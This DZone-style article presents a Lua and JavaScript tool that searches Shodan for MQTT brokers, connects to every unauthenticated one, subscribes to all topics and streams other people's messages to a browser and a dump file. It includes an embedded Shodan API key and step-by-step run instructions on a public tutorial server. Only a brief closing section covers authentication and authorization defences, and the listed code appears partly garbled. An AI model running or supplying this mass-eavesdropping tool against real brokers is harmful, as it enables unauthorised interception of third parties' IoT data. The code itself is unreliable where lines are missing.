Exploiting MQTT Using Lua

DZone 's Guide to

Exploiting MQTT Using Lua

Want to learn how to exploit MQTT using Lua? I hope not. But maybe you want to learn how to protect yourself again the exploit... not a bad idea to start from the inside out.

· Security Zone ·
Free Resource

MQTT is a publish/subscribe protocol that has gained popularity as an IoT protocol. MQTT clients connect to a broker which is in charge of exchanging the messages sent between the connected clients. MQTT includes many features that may leave the MQTT solution open to hackers. In this article, I will show you how easy it is to find unprotected MQTT brokers on the Internet and how to eavesdrop on all messages exchanged via the unprotected brokers.

Lua is an easy to learn, fast, and very powerful programming language used standalone and embedded into many programs. It is particularly popular in the gaming industry since it helps reduce the development time of complex game logic. Lua is also gaining in popularity in web development, and several web frameworks support Lua. The MQTT exploit is designed in HTML, JavaScript, and Lua. The MQTT exploit code listed below can be copied and run on an online public Lua web server. The following video shows a screen recording of the MQTT exploit code running on the public server.

Exploiting MQTT Solutions Using an Online Lua and Web Tutorial

The Mako Server is a web application server with integrated support for Lua. The server provides a mixed development environment where web developers can create traditional server pages and a socket API that enables developers to create advanced network applications. The server also comes with integrated support for MQTT and WebSocket.

The online Mako Server tutorials include a number of small Lua programs that you can execute and run on the server. However, the online server is not limited to running the Lua programs provided by the tutorials. Any program can run on the server. Anyone can run the MQTT exploit by copying the code below, pasting it into the online Lua editor, and then executing the code.

The online Lua web server is also open to abuse since it enables anyone to execute any code on the server. For this reason, the online Lua tutorials are designed to be re-installed every hour. Read the introduction and warnings provided by the online server prior to running the MQTT exploit code below. Navigate to http://lua-tutorial.tk/ and read the introduction. You may also want to follow some of the tutorials if you are new to Lua.

How the Exploit Works

The MQTT exploit code below is designed as a Lua Server Page (LSP) and is initiated when a browser user navigates to the page. All logic has been crammed into one page making it convenient to copy and paste the code; however, a real program would have split the logic into several modules rather than one single page.

The LSP page initially returns a web page to the browser with embedded JavaScript code. The returned web page implements a basic web console that is used for dumping all data received from the connected MQTT brokers. The JavaScript code is initiated as soon as the page loads and the code starts by establishing a WebSocket connection to the server. A Shodan MQTT broker search is initiated when the LSP page, executing at the server, receives the WebSocket upgrade request from the browser. Shodan returns a list of brokers in JSON format. The server code then iterates this list and creates an MQTT client for each MQTT broker in this list. The code logic then waits for MQTT data and sends all received MQTT data over the WebSocket connection to the browser.

Image title

The number of MQTT clients created (depicted as N above) depends on how many broker IP addresses Shodan returns. We are using a non paid for Shodan service which gives us access to one search page.

Each MQTT client instance attempts to connect to the IP address provided. Connections to brokers that require authentication fail and are ignored.

All successful broker connection requests go on to subscribing to the MQTT wildcard topic "#", which means that we are subscribing to all topics (all messages) exchanged via the broker. In other words, the server side LSP code will receive a copy of all MQTT messages exchanged by the broker and it will do so for each connected broker. This can create a substantial amount of traffic and all this traffic is redirected to the browser via one WebSocket connection.

The complete code, that can be copied and executed on the online server, is found below:

    <script src="/rtl/jquery.js"></script>
       $(function() {
           function print(txt) {
               window.scrollTo(0, document.body.scrollHeight);  
           var host = "<?lsp=request:url():gsub("^http","ws")?>";
           var s;
           try { s = new WebSocket(host); } catch(e) {}
           if( ! s ) {
               print("WebSocket not supported");
           s.onopen = function() {
               print("WebSocket connected. Waiting for Shodan response.");
           s.onmessage = function (e) {
               if(e.data instanceof Blob) {
                   var f = new FileReader();
                   f.onload = function(e) { print(e.target.result) };
               else {
  <pre id="console"></pre>

local key="LCECSFJG9az4SLw6T5O7ejcZ2lzTrqIB"
local url="https://api.shodan.io/shodan/host/search"

local mqttT={} -- List of all MQTT clients
local ws -- WebSocket
local file -- file where we dump the output

local function onpub(info, msg) -- MQTT publish callback
   if file then
      file:write(info) file:write"\n" file:write(msg) file:write"\n"
   local ok,err = ws:write(info, true)
   if not ws:write(info,true) or (#msg > 0 and not ws:write(msg)) then
      for _,mqtt in pairs(mqttT) do mqtt:disconnect() end
      if file then file:close() file=nil end

local function startMQTT(ip, info) -- Create and connect one MQTT client
      local mqtt,err=require"mqttc".connect(ip, function(topic,msg)
         onpub(string.format("%s: %s: %s",info,ip,topic), msg) end)
      if mqtt then
         table.insert(mqttT, mqtt)
         mqtt:subscribe("#") -- Muahahaha

if request:header"Sec-WebSocket-Key" then -- If a WebSocket request
   ws = ba.socket.req2sock(request) -- Upgrade to a WebSocket connection
   if ws then
      -- Create an HTTP object and send an MQTT query to Shodan
      local http = require"httpm".create{shark=mako.sharkclient()}
      http:timeout(60*1000) -- Shodan can be slow
      local rsp,err = http:json(url, {key=key,query="mqtt"})
      if rsp and rsp.matches then -- If JSON response OK
         file = _G.io.open(string.format("/tmp/mqtt%d.txt",ba.rnd()),"w")
         ws:event(function() while ws:read() do end end, "s")
         for k,v in ipairs(rsp.matches) do
         return -- OK
      ws:write("Shodan response err: "..(err or "unknown"))
   return -- Done

response:setheader("x-xss-protection","1; mode=block")
"default-src 'self'; connect-src http: https: ws: wss:; script-src 'self' 'unsafe-inline'")

Line 1 to 36 is the initial HTML page returned to the browser. The print function on line 6 appends text to the HTML PRE element on line 34. Line 12 opens a WebSocket connection to the server side LSP page by using an absolute URL. The absolute WebSocket URL (URL starting with ws://) is calculated at the server on line 10. The WebSocket onmessage callback function on line 20 dumps all received data to the web console by calling function print. The server side sends topic names as WebSocket strings and MQTT payload data as a binary WebSocket frames. We attempt to convert the binary data to text by using a FileReader. MQTT payload data is typically binary, but may include JSON data and/or text that can be printed.

Lua code starting at line 39 executes at the server side. Function onpub on line 47 is called for each MQTT message received by any of the MQTT clients. The function dumps the received data to a file and sends the data over the WebSocket connection to the browser. The function also closes all MQTT client connections should the one WebSocket connection with the browser go down. Data will keep pouring in until you close the browser Window. Closing the browser window is the only way you can stop all MQTT clients.

Function startMQTT on line 57 is called for each broker IP address returned by Shodan. The function creates and connects an MQTT client on line 59 by using the MQTT Lua Module. The anonymous callback function passed into the MQTT client on line 60 assembles network information, broker IP address, and topic into one string. This information and the MQTT payload data is then sent to function onpub on line 46. We subscribe to the MQTT wildcard topic '#' on line 63 if connecting to the broker succeeds -- i.e. if no password is required.

The Mako Server supports both blocking and non blocking sockets. Fully non blocking sockets are called cosockets, a technology based on Lua's coroutines. Cosockets enable us to write sequential (non callback/event based) code that is internally using non blocking sockets. Cosockets enable us to easily scale up a large amount of connections without using complex callback logic. Sockets in the Mako Server are blocking by default, but can be converted to cosockets. Function ba.socket.event (line 58) wraps the complete connection and socket operating into a non blocking cosocket. The MQTT client run method on line 64 runs in the scope of a coroutine and does not return until the connection closes. All MQTT connections are closed on line 52, when the WebSocket connection is closed.

The code section starting on line 71 is initiated if the browser sends a WebSocket request. The HTTP request is converted/upgraded to a WebSocket connection on line 71. Note: if it's not a WebSocket request, the web page is returned to the browser.

The Shodan developer API for searching requires that we send an HTTPS request. An HTTPS (secure HTTP) client object is created on line 74. The Mako Server is internally using an SSL stack called SharkSSL. The attribute shark must be set to a SharkSSL object and the Mako Server provides a ready to use object via function mako.sharkclient(). The HTTP client library has built in support for JSON and we get a parsed JSON object as a return value when we call http:json on line 76.

The code line 78 to 83 is executed if we get a successful response from Shodan. We open a file for writing in the /tmp/ folder . Received data is dumped to this file on line 48. You can download this file after running the exploit by navigating to the Web File Manager demo that is part of the Lua tutorials.

We mentioned above that a socket defaults to blocking mode. We must make sure that the WebSocket is converted to a non-blocking cosocket. We do this on line 79 by calling ws:event. The anonymous function passed in as argument is the cosocket. The browser does not send any data over the WebSocket connection, but a socket dispatch loop is required for all cosockets. The cosocket loop simply waits for the socket to close. When the socket closes, the loop breaks and the cosocket exits. We do not use the socket receive side for detecting when the WebSocket connection closes. This is instead done on line 51 when we write data to the WebSocket.

The final step is to loop over the list of brokers returned by Shodan (line 80) and to call function startMQTT for each broker in this list.

Executing the MQTT Exploit

  1. Copy the above code.
  2. Navigate to http://lua-tutorial.tk/, and read the introduction and make sure to check what time the tutorials will be re-installed. You need at least 15 minutes.
  3. Click the Integrated IDE link in the left pane, and click OPEN LSPAPPMGR.
  4. Click the New Application Tab, select "Home" for file system, and click Browse.
  5. Right click the top folder, create a new folder, and double click the folder to select it.
  6. Click Submit to create a new application, and submit on the next page to use the default settings.
  7. Click Start to start the new application.
  8. Click the Edit button, which brings up the web based editor.
  9. Double click on the pre-generated index.lsp file and erase the default code in this file.
  10. Paste the code from step one into the editor.
  11. Click Open to run the code in a separate window.
  12. You should see the text: Waiting for Shodan response.
  13. After some time, the MQTT data should start pouring in.
  14. Keep the program running as long as you want.
  15. Stop the server side code by closing the browser window.
  16. Navigate to the online server's tmp folder and download a copy of the MQTT dump (named mqttXX.txt, where XX is a random number).

A few gotchas to be aware of: Shodan requires a key and the key embedded in the above code on line 39 may not work. Sign up for your own key if you get an error message. Shodan can be slow so be patient when you see the initial text in the browser. Running multiple instances of the above code (by multiple DZone readers) have not been tested. The online server may be down due to abuse. Wait till the tutorials are re-installed at the whole hour if you see any error messages on the online server.

How to Safeguard an MQTT Solution (and Other Pub/Sub Solutions)

In order to safeguard an MQTT solution against hackers, a few steps are required. First, an MQTT solution should not be used without authentication. Second, to protect the solution against compromised devices and leaked passwords, the solution must use authorization -- you must use a broker that enables you to easily enforce strict authorization. To understand why multiple defenses are required when using a pub/sub protocol, read the DZone article Have We Forgotten the Ancient Lessons About Building Defense Systems.

Using Pub/Sub Protocols Without Authentication

You may run into application design where using authentication may make the solution too unfriendly to use. The Christmas Light Controller DZone article shows such a pub/sub solution. Using a pub/sub protocol without authentication requires a broker that supports strong authorization. Read the security section at the end of the Christmas Light Controller article to find out how strong authorization is used as the main defense mechanism in this pub/sub solution.

lua, web app, web application security

Opinions expressed by DZone contributors are their own.

{{ parent.title || parent.header.title}}

{{ parent.tldr }}

{{ parent.urlSource.name }}